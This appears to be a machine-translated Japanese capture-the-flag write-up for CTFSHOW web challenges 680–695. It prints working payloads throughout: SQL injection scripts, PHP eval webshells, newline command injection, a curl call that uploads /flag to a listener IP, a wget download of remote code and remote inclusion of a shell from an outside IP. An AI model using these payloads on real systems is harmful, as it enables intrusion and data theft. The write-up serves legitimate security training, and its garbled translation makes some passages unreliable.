CTFSHOWコンテストの元のタイトル(web680-web695)

トピックがたくさんあるので、比較的簡潔に書かれているところも多いので、ご主人様にご理解いただければ幸いです。

CTFSHOWコンペティションのオリジナルタイトル

web680

code=phpinfo();
最初にdisable_functionを見てください。たくさんのフィルターがあります。そして、open_basedirはディレクトリ制限を行います。
r次に、現在のディレクトリ内のファイルを
code=var_dump(scandir("."));
確認します。ファイルsecret_you_never_know
が見つかった場合は、直接アクセスしてフラグを取得できます。(大きな無言)

web681

ログインするときに、パッケージを取得します。たとえば、name = 123を渡すと、sqlステートメントが返さ
select count(*) from ctfshow_users where username = '123' or nickname = '123'
れ、一重引用符を試して、それが飲み込まれることがわかります。次に、実行と同等
のバックスラッシュを試してください。したがって、最初にユニバーサルパスワード名全体= || 1#最後のステートメントが同等であり、次にフラグが発行されます。
select count(*) from ctfshow_users where username = '123\' or nickname = '123\'

select count(*) from ctfshow_users where username = 'xxx'123\'



select count(*) from ctfshow_users where username = '||1#\' or nickname = '||1#\'

select count(*) from ctfshow_users where username = 'xxxxx‘||1#\'

ここに画像の説明を挿入

web682

暗号化されていないjs
をヒントの背後に置くのは実際には非常に簡単ですが、もっと面倒です
ここに画像の説明を挿入

import hashlib
string="0123456789abcdef"
for i in string:
    for j in string:
        for k in string:
            for l in string:  
                aaa=i+j+k+l               
                out1 = hashlib.sha256(aaa).hexdigest()
                if(out1=='c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400'):
                    print(aaa)
                if(out1=='f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc'):
                    print(aaa)

get ctfshow{592b9d77
ここに画像の説明を挿入
get ctfshow{592b9d77-9dda
ここに画像の説明を挿入get ctfshow{592b9d77-9dda-4e30
ここに画像の説明を挿入
getctfshow{592b9d77-9dda-4e30-94a4
ここに画像の説明を挿入
は実際にはbase32であり、base32を直接デコードするだけ
です。ctfshow{592b9d77-9dda-4e30-94a4-5e64f4499a52}

import hashlib
string="0123456789abcdef"
for i in string:
     if hashlib.sha224(i).hexdigest()=='abd37534c7d9a2efb9465de931cd7055ffdb8879563ae98078d6d6d5':
         print(i)

web683

16進バイパス
ペイロード:
?秀=0x76a699

web684

以前のweb147
ペイロードと同様:
?action=%5ccreate_function&arg=}system("cat /secret_you_never_know");//

web685

検査ポイント:通常の最大バックトラッキング時間を使用してバイパスします

正規表現のサービス拒否攻撃(reDOS)を防ぐために、PHPはpcreのバックトラック時間の上限を設定します。pcre.backtrack_limitバックトラック時間の
デフォルトの上限は100万です。バックトラックの数が100万を超えると、preg_matchは非1と0を返しませんが、falseを返します。このようにして、正規表現をバイパスできます。
Pythonスクリプトは次のとおりです

import requests
url="http://3c7c34aa-52d3-48d2-9dec-3679a65588c9.challenge.ctf.show/"
files={
    
    
	'file':'<?php eval($_POST[1]);?>'+'b'*1000000
}
r=requests.post(url,files=files)
for i in range(0,10):
	u=url+'data/{0}.php'.format(i)
	r=requests.post(u,data={
    
    '1':'system("cat /secret_you_never_know;echo yu22x");'})
	if 'yu22x' in r.text:
		print(r.text)

web686

テストサイト:パラメータrceなし
特定のメソッドについては、GXYCTFの禁止されたネスト人形
またはこの記事のhttps://blog.csdn.net/weixin_46330722/article/details/110840156
ペイロードを参照してください:
?code=system(pos(getallheaders()));
getallheaders()リクエストヘッダー情報の取得
pos()配列内の現在の要素(通常は最初の要素)の値を返し
、 getallheadersのX-Forwarded-Forは通常、の配列の最初であるため、このリクエストヘッダーを直接変更できます。
ここに画像の説明を挿入
ここに画像の説明を挿入

web687

非常に単純な質問%0aは、フィルターパイプの
ペイロードをバイパスします。
1%0acat /f*%0a

web688

タイトルの目的は明らかに、通常の状況で使用できるcurlを介してファイルの内容を取り出せるようにすることです。curl url -F file=@/flag
残りは、フィルターをバイパスする方法です。
escapeshellargとescapeshellcmdを一緒に使用すると
、次のコードなどの問題が発生します。

<?php 
$a = "1' xxx";
$a = escapeshellarg($a);
$a = escapeshellcmd($a);
echo $a;

最終的な出力コンテンツは、特定のコンテンツを5つの部分に'1'\\'' xxx\'
分割でき、 2つの円記号を合わせてもエスケープの役割を果たさなくなります。つまり、一重引用符をエスケープできます。しかし、最後に余分な一重引用符があるので、別の引用符を書くことができ、その中のxxxは使用したいコンテンツです。つまり、ペイロードは次のようなものですが、ローカルテストプロセスでは見つかりますエラーURLが不正な/不正な形式を使用して報告されるか欠落していることURLはペイロードにスラッシュを追加する必要があります:'1' \\ '' xxx \'

-F file=@/flag

http://监听使用的ip:port' -F file=@/flag'

http://127.0.0.1:4567' -F file=@/flag'



url=http://ip:port/' -F file=@/flag '

web689

テストサイトはssrf
です。渡すパラメータファイルはhttp://127.0.0.1/で始まる必要があり、パスに含めることはできません。
渡すと
?file=http://127.0.0.1/&path=<?php phpinfo();?>
、ページに次のコンテンツが表示されます。
ここに画像の説明を挿入
ファイルが渡すと、現在のURLに置き換えられますか?このページを書いた
ので、ペイロード
?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php phpinfo();?>&path=a.php
ここに画像の説明を挿入

これは少し紛らわしいです。理解できない場合は、コメント領域で直接質問できます。

web690

着信パラメータには数字と文字の下線のみを含めることができますが、%0aもセミコロンと同様の効果があるのと同様に、%0a改行を使用してそれらをバイパスできます。
次の質問は、rceに到達する方法です。
文字数制限とエコーがないため、list directoryreadfileコマンドを直接実行するのは少し難しいです。次に、ファイルを作成する方法を考えますが、これは簡単ではないため、他の場所からファイルを取得することしか考えられません。より良い方法は、wgetを介してファイルをダウンロードすることです。
ただし、ipには他の記号も含まれるため、ipの小数(ツールのWebサイト
を使用してローカルでテストし、apacheまたはnginxで直接開始されたサービスが400エコーを報告することを確認する必要があります。
そこで、Pythonを使用してポート80でローカル
python -m SimpleHTTPServer 80にWebサービスを作成し、現在のディレクトリにindex.htmlを作成すると、wgetがファイルをダウンロードします。
ファイルの内容

<?php 
file_put_contents("shell.php",'<?php eval($_POST[1]);?>');
?>

したがって、最初のステップはファイルをダウンロードすることですが、その前に、フォルダーを作成し、このフォルダーを入力してから取得します。具体的な理由は、次のステップに関連しています。
args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=ip的十进制
コマンドの実行に相当します

./ 1
mkdir a
cd a
wget xxxxx

現時点では、ディレクトリにすでにindex.htmlがある
ため、phpコマンドを使用するだけで実行できますが、ファイル名(index.html)の(。)に問題があります。
次のステップは、名前を変更する方法です。
より良い方法はtarコマンドを使用することです。フォルダを圧縮すると、フォルダの内容は圧縮ファイルに完全に保存されます。
args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a
実行するのと同じです

tar cvf shell a

フォルダaをシェルにパッケージ化します。
だから私たちはphpコードを実行することができます
args[]=1%0a&args[]=php&args[]=shell

要約する

本地创建一个index.html,内容为写一句话木马
<?php 
file_put_contents("shell.php",'<?php eval($_POST[1]);?>');
?>

同一目录下起一个web服务
python -m SimpleHTTPServer 80

//下载文件
args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=ip十进制

//打包文件使文件名可用
args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a

//执行php文件
args[]=1%0a&args[]=php&args[]=shell

最后访问/shell.php就可以用刚才写的一句话木马了。

web691

注文サイズは比較的わかりにくいので、以前に書かれた記事
を参照できます。私たちの目的は非常に明確です。つまり、パスワード列の値を取得することです。
まず、順番に合計3つの列があると推測できます。次に、id、username、passwordの3つの列である可能性があります。3番目の列に移動して盲目的に注意する必要があるため、3番目の列で並べ替えます。列も3で並べ替えられます。
下の写真はわかりやすくしています。ユニオンのパスワード列が実際にテーブルに格納されているパスワード列よりも大きい場合、ユニオンクエリの結果の最初の行には、実際にテーブルに格納されているパスワード列が表示されます。
ここに画像の説明を挿入
次に、この質問について、次の2つの画像を見ることができます。dの場合、adminを返し、dが実際のパスワードの最初の文字よりも大きいことを示します。したがって、実際の文字はcです。
ここに画像の説明を挿入
ここに画像の説明を挿入

少し時間がかかるので、スクリプトに直接行きましょう。

import requests
import string
s=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
url="http://350eb77e-284a-4268-bf49-058f67ca4c85.challenge.ctf.show/"
data={
    
    
	'username':"or 1 union select 1,2,'{}' order by 3#",
	'password':'1'
}
k="ctfshow{10a1a24d-3548-4785-9e2b-9d8a6ad37"
for i in range(1,50):
	print(i)
	for j in s:
		data={
    
    
		'username':"' or 1 union select 1,2,'{0}' order by 3#".format(k+j),
		'password':'1'
	}
		r=requests.post(url,data=data)
		#print(data['username'])
		if("</code>admin" in r.text):
			k=k+chr(ord(j)-1)
			print(k)
			break

小さなバグ、そして最後に|を}に変更して送信します。

web692

ここに画像の説明を挿入
ここに画像の説明を挿入
preg_replaceの2番目のパラメーターが%00(ASCIIでは0)の場合、文字列全体と一致します。
たとえば、最初の文字列が
$option='123';
実行された場合
preg_replace("$option='.*';","\x00",$a)
、返される結果は
$option='$option='123';';
、元の文字列が再び一重引用符で囲まれることです。
最初にoption=;phpinfo();//を渡したとします。
最初にconfig.phpのコンテンツが。に置き換えられ$option=';phpinfo();//'ます。
option =%00を2回渡すと
、最終的な結果として$option='$option=';phpinfo();//''
一重引用符がエスケープされ、phpinfo()が正常に実行されます。

ペイロード

option=;eval($_POST[1]);//
option=%00

トロイの木馬の旗を一文で取ることができます。

web693

ポイントはこのコードです

    $func = isset($_GET['function'])?$_GET['function']:'filters'; 
    call_user_func($func,$_GET);
    include($file);

関数を呼び出すことができ、それを含むファイルがありますが、この関数のパラメーターは配列です。
抽出変数をオーバーライドすることで$fileの値を変更することを考えるのは簡単です。
まず、function.phpとadmin.phpを読んだところ、当面は役に立たないことがわかりました。

?function=extract&file=php://filter/convert.base64-encode/resource=function.php
?function=extract&file=php://filter/convert.base64-encode/resource=admin.php
//function.php
<?php
function filters($data){
    
    
    foreach($data as $key=>$value){
    
    
        if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
    
    
            die('Do not hack me!');
        }
    }
}
?>

//admin.php
<?php
if(empty($_SESSION['name'])){
    
    
    session_start();
    echo 'hello ' + $_SESSION['name'];
}else{
    
    
    die('you must login with admin');
}
?>

次に、リモートファイルを含めて、それが実際に可能であることを確認します。?function=extract&file=http://www.baidu.com
簡単で、自分のvpsに1文のトロイの木馬を含めるだけです。

//shell.txt
<?php eval($_POST[1]);?>

GET:
?function=extract&file=http://101.34.94.44/shell.txt
POST:
1=system('cat /f*');

web694

全体的なスプライスアウトxxxxx/a.php/。
ここに画像の説明を挿入
最終パスは
/var/www/html/a.php/です。
これにより、a.phpファイルが作成されます。

web695

koajs

https://github.com/koajs/koa-body/issues/75
json本体の形式がファイルアップロードルートにアップロードされると、パスはアップロードされたファイルの場所に解析され、対応するファイルに保存されます。
{"files":{"file":{"name":"yu22x","path":"/etc/passwd"}}}
ペイロード:

{"files":{"file":{"name":"xiaoyue","path":"flag"}}}

ここに画像の説明を挿入
次に、downloadfile/idはフラグファイルをダウンロードできます。

おすすめ

転載: blog.csdn.net/miuzzx/article/details/122998220
おすすめ